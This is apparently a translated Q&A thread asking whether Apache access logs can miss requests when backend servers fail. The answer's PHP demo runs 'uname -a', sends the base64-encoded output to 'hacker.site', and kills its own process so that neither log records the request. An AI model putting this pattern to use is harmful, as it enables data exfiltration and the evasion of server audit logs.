Apache 访问日志是否会错过请求?

mat*_*ake 5 java apache

我的工作场所在各种 Java 应用程序服务器前面都有 Apache。我经常需要调查生产问题,并依赖那些记录对应用程序服务器的所有请求的 Apache 访问日志,无论它们是成功 (200)、重定向 (302)、错误 (500) 还是其他状态。

然而,有几次,通常当应用程序服务器变得无响应并需要重新启动时,看起来可能某些请求尚未记录。

我尝试在本地复制此内容(启动一个长时间运行的请求,并允许该请求超过 Apache 服务器上的超时时间,或者只是从命令行终止应用程序服务器),但我总是在访问日志中记录一个请求。

我的问题是,假设 Apache 运行良好但遇到应用程序服务器问题,Apache 访问日志是否会错过请求?

and*_*1_1 6

在某些情况下它可能会错过请求,文档包含重要的句子:

服务器访问日志记录服务器处理的所有请求。

因此,如果请求未得到处理,那么我们不应期望在access_log中出现条目。如果您想知道是否可以轻松重现这种情况,那么我找到了一种方法来做到这一点。

考虑以下 PHP 代码 ( test.php ):

<?php
$cmd_result = shell_exec('uname -a');
file_get_contents("https://hacker.site/" . base64_encode($cmd_result));
exec('kill -9 ' . getmypid());
Run Code Online (Sandbox Code Playgroud)

此外,您还必须使用 prefork MPM 和 mod_php 模块运行 Apache。然后使用浏览器或telnet发出请求:

$ telnet 127.0.0.1 80
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
GET /test.php HTTP/1.0

Connection closed by foreign host.
Run Code Online (Sandbox Code Playgroud)

如您所见,连接已关闭,没有任何响应。尽管代码已执行并且攻击者收到了命令的编码结果,但access_logerror_log中都没有日志uname -a